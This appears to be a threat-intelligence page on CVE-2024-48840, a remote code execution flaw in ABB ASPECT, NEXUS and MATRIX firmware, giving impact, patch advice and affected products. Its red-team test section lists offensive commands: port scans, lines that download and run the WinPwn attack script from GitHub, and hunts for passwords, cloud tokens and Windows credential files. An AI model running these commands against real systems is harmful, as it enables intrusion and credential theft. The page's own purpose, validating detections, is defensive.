CVE-2024-48840
Overview
The vulnerability is a code injection flaw (CWE-94) in ABB ASPECT-Enterprise and related firmware versions, caused by improper validation of user-supplied input that is executed as code. This occurs in components handling firmware or system commands, allowing attackers to inject and execute arbitrary code remotely. The root cause lies in the failure to sanitize input before processing it in critical system functions within the affected product versions.
Vulnerability Description
Unauthorized Access vulnerabilities allow Remote Code Execution. Affected products: ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02
Impact
An attacker with network access can exploit this vulnerability without authentication (AV:N/AC:L/PR:N/UI:N) to execute arbitrary code with high system privileges (C:H/I:H/A:L). This enables full compromise of the affected ABB ASPECT-Enterprise systems, potentially leading to unauthorized control over industrial processes and disruption of critical operations. The vulnerability allows attackers to bypass security controls and execute commands remotely, impacting confidentiality, integrity, and availability.
Solution
ABB has released patches for ASPECT-Enterprise and related firmware versions 3.08.02 to address this issue. Users should apply the updates as detailed in the ABB advisory document 9AKK108469A7497 available on ABB's official site. The advisory provides step-by-step patch instructions and recommends upgrading affected firmware to the fixed versions to mitigate the vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in specific versions of ABB's ASPECT, NEXUS, and MATRIX series products is characterized by unauthorized access, which can lead to remote code execution. This critical flaw arises from insufficient authentication mechanisms, allowing attackers to gain unauthorized access to the affected systems. Once an attacker successfully exploits this vulnerability, they can execute arbitrary code on the device, potentially leading to full system compromise. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention from organizations utilizing these products.
Attack vectors for this vulnerability are varied, with the most concerning being remote exploitation via the internet. An attacker could leverage this flaw by sending specially crafted requests to the affected devices, bypassing authentication controls. This could be executed from anywhere, making it particularly dangerous for organizations with exposed systems. Additionally, exploitation could be facilitated through social engineering tactics, where an attacker tricks an authorized user into executing malicious payloads. Once inside, the attacker could manipulate the system, exfiltrate sensitive data, or even pivot to other connected systems, amplifying the potential damage.
The real-world impact of this vulnerability is significant, especially for organizations relying on ABB's automation and control systems. A successful exploitation could lead to operational disruptions, financial losses, and reputational damage. For industries such as manufacturing, energy, and utilities, where these systems are often integral to daily operations, the consequences of a breach could be catastrophic. Furthermore, regulatory repercussions may arise if sensitive data is compromised, leading to legal liabilities and increased scrutiny from regulatory bodies. The potential for cascading failures in interconnected systems further exacerbates the risk, highlighting the need for robust security measures.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in their systems before they can be exploited. Additionally, deploying intrusion detection systems (IDS) can aid in monitoring network traffic for suspicious activity associated with exploitation attempts. Organizations should also ensure that they apply security patches and updates promptly, as these often contain fixes for known vulnerabilities. Beyond technical measures, employee training on security best practices can reduce the likelihood of successful social engineering attacks.
In conclusion, the unauthorized access vulnerability affecting ABB's ASPECT, NEXUS, and MATRIX series products poses a critical risk to organizations that utilize these systems. The potential for remote code execution through exploitation highlights the importance of proactive security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing comprehensive detection and mitigation strategies will be essential in safeguarding their operations and maintaining the integrity of their systems.
CSURFACE threat intelligence has identified a marked escalation in the exploitability potential of CVE-2024-48840, as evidenced by the substantial increase in the Exploit Prediction Scoring System (EPSS) score, which has risen by nearly 250%. This surge reflects growing confidence among threat actors in the feasibility of remote code execution against ABB ASPECT-Enterprise and related products. Although the 7-day trend has stabilized, the elevated EPSS score now places this vulnerability in the 95th percentile for exploitation likelihood, signaling a heightened risk environment. Concurrently, new proof-of-concept exploits targeting the unauthenticated command execution vector have emerged in public exploit repositories, further lowering the barrier for adversaries to weaponize this flaw. Our telemetry indicates that while exploitation attempts have not yet surged dramatically, the combination of increased exploitability metrics and available exploit code substantially raises the threat level. Defenders should recognize that this vulnerability has transitioned from a theoretical risk to a more imminent operational threat, necessitating increased vigilance in detection and response capabilities.
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Abb | Aspect-Ent-2 Firmware | All |
cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Aspect-Ent-256 Firmware | All |
cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Aspect-Ent-96 Firmware | All |
cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128 Firmware | All |
cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128-A Firmware | All |
cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128-F Firmware | All |
cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128-G Firmware | All |
cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264 Firmware | All |
cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264-A Firmware | All |
cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264-G Firmware | All |
cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-3-2128 Firmware | All |
cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Aspect-Ent-12 Firmware | All |
cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264-F Firmware | All |
cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-3-264 Firmware | All |
cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-11 Firmware | All |
cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-216 Firmware | All |
cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-232 Firmware | All |
cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-264 Firmware | All |
cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-296 Firmware | All |
cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| ABB Cylon Aspect 3.08.02 (deployStart.php) - Unauthenticated Command Execution | LiquidWorm | hardware | php | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-48840 |
| search.abb.com |
GitHub CVE
|
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch |